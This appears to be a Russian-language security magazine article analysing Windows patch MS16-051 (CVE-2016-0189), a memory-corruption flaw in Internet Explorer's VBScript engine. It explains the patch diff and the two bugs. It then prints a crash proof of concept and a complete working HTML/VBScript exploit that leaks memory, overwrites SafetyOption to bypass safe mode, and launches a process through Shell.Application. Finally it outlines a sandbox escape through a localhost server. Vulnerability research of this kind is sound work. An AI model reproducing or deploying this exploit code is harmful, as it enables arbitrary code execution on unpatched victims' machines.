Патчи к Windows — замечательный источник пусть и уже закрытых, но по-прежнему интересных уязвимостей. Мы разберем патч MS16-051, который латает уязвимость, приводящую к повреждению памяти в скриптовом движке. Эксплоит позволяет использовать ее для выполнения произвольного кода.
CVSSv2
Нет
BRIEF
Дата релиза: 22 июня 2016 года
Автор: Theori
CVE: CVE-2016-0189
Первым эту тему изучили и описали в своем блоге исследователи из коллектива Theori. Для анализа использовалась утилита BinDiff, исследовалась библиотека vbscript.dll
.
Xakep #211. Когда «Окна» смотрят в тебя
На скриншоте заметно, что изменения коснулись только нескольких функций. Наиболее подозрительными выглядят исправления в функции AccessArray()
. Проанализируем ее в IDA.
Как видишь, в патче добавили блокировку массива перед доступом к нему — на случай возникновения ошибок. Других изменений в этой функции нет.
Следующие изменения, связанные с безопасностью, нашлись в функции IsUnsafeAllowed()
. Сравним ее апрельскую и майскую версии.
Снова изменения бросаются в глаза. В прошлой версии IsUnsafeAllowed()
вызывала функцию, которая всегда возвращала ноль без рассмотрения политик, тогда как исправленная версия вызывает указатель на функцию, расположенную в QueryProtectedPolicyPtr
. InitializeProtectedPolicy()
инициализирует указатель на функцию, используя GetProcAddress
.
Авторы смогли определить две уязвимости, которые были исправлены в этом патче. Давай теперь посмотрим, как ими воспользоваться для создания эксплоита.
EXPLOIT
Первая уязвимость — отсутствие блокировки SafeArray
в AccessArray
. В патче добавился код для блокировки массива, а это значит, что атакующий мог как-то модифицировать массив, что, вероятно, вело к несоответствию некоторых свойств (к примеру, cDims
или cbElements
).
...
while ( 1 )
{
curVar = VAR::PvarCutAll(curVar_);
if ( VT_I2 == curVar->vt )
{
v14 = curVar->iVal;
}
else if ( VT_I4 == curVar->vt )
{
v14 = curVar->lVal;
}
else
{
v22 = 0;
v18 = rtVariantChangeTypeEx(curVar, &v22, 0x400, 2, 3u, v20, v21);
if ( v18 < 0 )
return CScriptRuntime::RecordHr(a4, v18, v19, v20, v21);
v14 = v23;
}
v15 = v14 - v25->lLbound; // lLbound всегда 0
if ( v15 < 0 || v15 >= v25->cElements )
return CScriptRuntime::RecordHr(a4, 0x8002000B, v25, v20, v21);
numDim = (numDim - 1);
idx = v15 + v11;
if ( numDim <= 0 )
break;
++v25;
v11 = v25->cElements * idx;
curVar_ = (a4 + 16);
a4 = (a4 + 16);
}
*v24 = arr->pvData + idx * arr->cbElements; // cbElements == 16
...
Код в основном цикле начинает с крайнего правого измерения индексов массива и использует их для вычисления указателя на данные. Заметь, что если тип Variant для индекса — VT_I2
или VT_I4
, то значения читаются напрямую как short и long соответственно. Однако для любого другого типа Variant вызывается rtVariantChangeTypeEx
для вычисления индекса. Когда эта функция получает объект JavaScript, она извлекает значение, вызывая под конец valueOf
для этого объекта. Если предоставить ей объект с методом valueOf
, то это даст возможность выполнять произвольный код на VBScript или JavaScript внутри rtVariantChangeTypeEx
.
// Эксплоит и triggerBug определены в VBScript
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
Мы можем использовать это для изменения размера массива, в котором находимся в текущий момент. К примеру, представим, что у нас есть двумерный массив.
ReDim Preserve A(1, 2000)
Когда мы получим доступ к массиву, например через A(1, 2)
, то idx
в AccessArray
будет рассчитываться как 1 + (2 * (2 - 0))
, что равняется 5. Далее это число умножается на значение cbElements
, которое всегда равно 16 (sizeof(VARIANT)
). Результат добавляется к указателю на данные (pvData
), и возвращаются значения по адресу A(1, 2)
.
В обычном случае это не ошибка, потому что выделенный буфер равен примерно 16 * 2 * 2001 == 64 032
байта. Тем не менее смещение окажется вне скоупа, если буфер изменится на меньший. Другими словами, мы можем получить доступ к A(1, 2)
, когда массив определен как A(1, 1)
.
Наш эксплоит будет перезаписывать память, освободившуюся в результате изменения размера массива. Это позволит нам создать VBScript и Variant для чтения и записи вне скоупа. Следующий шаг — получение адреса объекта, чтение памяти по этому адресу и запись в память при помощи многократного вызова ошибки.
Теперь рассмотрим вторую уязвимость — обход IsUnsafeAllowed()
.
До патча функция IsUnsafeAllowed()
всегда возвращала единицу, потому что COleScript::OnEnterBreakPoint
— это пустая функция, которая всегда возвращает ноль. В патче это было исправлено. Теперь QueryProtectedPolicy
выполняется должным образом, если доступна в системе (она есть в версиях Windows 8.1 и выше).
По умолчанию Internet Explorer предотвращает запуск скриптов, которые могут навредить системе. Функция InSafeMode()
проверяет флаг режима безопасности (по умолчанию 0xE
), а также проводит проверку на небезопасные расширения — такие как Shell.Application
. К счастью, мы узнаем, что IsUnsafeAllowed()
всегда возвращает True, то есть мы можем изменить значение флага с помощью первой уязвимости.
Однако такой вариант не победит Protected Mode (песочницу) Internet Explorer. Поэтому мы рассмотрим пример обхода песочницы и запустим код с Medium Integrity Level.
Следующий пример кода вызывает падение Internet Explorer из-за обращения к памяти, которая больше не доступна. Размер второго массива изменяется на меньшее значение в процессе доступа к нему.
// скобки HTML-тегов заменены на квадратные из соображений безопасности
[meta http-equiv="x-ua-compatible" content="IE=10"]
[body]
[script type="text/vbscript"]
Dim aw
Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
ReDim Preserve A(1, 20000)
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Function crash (arg1)
Set aw = New ArrayWrapper
MsgBox aw.A(arg1, 20000)
End Function
Function triggerBug
aw.Resize()
End Function
[/script]
[script type="text/javascript"]
alert(1);
var o = {"valueOf": function () { triggerBug(); return 1; }};
setTimeout(function() {crash(o);}, 50);
[/script]
[/body]
Произвольные чтение и запись основных элементов — это мощный инструмент эксплуатации. Чтобы код эксплоита было легче читать, авторы обернули операции в понятные функции:
- getAddr — вызывает уязвимость и «распыляет» объект, адрес которого мы хотим получить, затем ищет адрес в памяти;
- leakMem — вызывает уязвимость и читает содержимое памяти по указанному адресу;
- overwrite — вызывает уязвимость и перезаписывает память по указанному адресу с помощью variant
CSng(0)
. Это ведет к нашей цели — получению Godmode путем изменения флага на0x04
.
Используя эти операции, мы можем сделать следующее:
- создать простой экземпляр VBScriptClass;
- получить адрес экземпляра класса;
- вытащить адрес CSession из экземпляра класса;
- вытащить адрес COleScript из экземпляра CSession;
- перезаписать SafetyOption в COleScript.
Ниже приведен полный эксплоит для получения Godmode в Internet Explorer 11 для Windows 10.
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
' 2x2000 elements x 16 bytes / element = 64 000 bytes
ReDim Preserve A(1, 2000)
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Dummy
End Class
Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set aw.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
' Single has vartype of 0x04
aw.A(arg1, 2) = CSng(0)
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
' Create a VBScript class instance
Set dm = New Dummy
' Get address of the class instance
addr = getAddr(arg1, dm)
' Leak CSession address from class instance
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
' Leak COleScript address from CSession instance
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
' Overwrite SafetyOption in COleScript (e.g. god mode)
' e. g. changes it to 0x04 which is not in 0x0B mask
overwrite arg1, olescript + &H174
' Execute notepad.exe
Set Object = CreateObject("Shell.Application")
Object.ShellExecute "notepad"
End Function
Function triggerBug
' Resize array we are currently indexing
aw.Resize()
' Overlap freed array area with our exploit string
Dim i
For i = 0 To 32
' 24 000 x 2 + 6 = 48 006 bytes
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>
Пример успешной эксплуатации показан на скриншоте.
Может показаться, что дело сделано, но это не так. Многие багхантеры ограничились бы запуском calc.exe, но автор этого эксплоита пошел дальше. Дело в том, что даже с обходом SafeMode фильтры Protected Mode (песочницы) определяют, что можно исполнять из процесса Internet Explorer, а что нет.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy
— это группа ключей реестра, которые описывают политику привилегий. Именно ей следует Protected Mode. Более подробно о Protected Mode и политике ты можешь прочитать в MSDN. Важно то, что для процесса calc.exe
нет установленных правил. Это значит, что будет применяться политика «по умолчанию», а она велит запросить у пользователя разрешение перед запуском дочернего процесса с Medium Integrity Level.
Начиная с Windows 8.1 приложение «Калькулятор» относится к классу Modern и запускается в AppContainer. А вот приложения Wordpad.exe в реестре политики нет, так что можем проверить эксплоит на нем.
Процесс Wordpad.exe
с Medium Integrity запустится только в том случае, если пользователь это разрешит.
Описанный эксплоит может выполнять небезопасный VBScript, но если дело ограничивается запуском notepad.exe
с Medium Integrity, то пользы от такой бреши маловато. Поэтому автор нашел другую лазейку, которая позволяет выполнять произвольный код с нужными правами.
Несколько лет назад в ZDI зарепортили один баг, который в Microsoft посчитали слишком незначительным для того, чтобы латать. Однако этот трюк позволит нам выполнять произвольный код из процесса с Protected Mode.
Концепт этой идеи описан в блоге ZDI, но если вкратце, то основная идея следующая. Нужно открыть локальный сервер из процесса IE с Low Integrity, который будет служить вторым этапом эксплоита.
По умолчанию политика безопасности Internet Explorer настроена так, что интранет считается доверенной зоной, а localhost — это часть интранета. Таким образом, мы можем проэксплуатировать эту же уязвимость для выполнения кода или скрипта, но уже с Medium Integrity Level. Ниже представлен скриншот со схемой эксплуатации из статьи в блоге ZDI.
Для демонстрации обхода песочницы авторы эксплоита воспользовались некоторыми частями этого PoC. Финальный эксплоит для рассмотренной уязвимости опубликован на GitHub.
После публикации оригинальной статьи эксплоит из нее взяли на вооружение злоумышленники. Его «боевая» версия, которая работает через Flash, появилась в эксплоит-паках.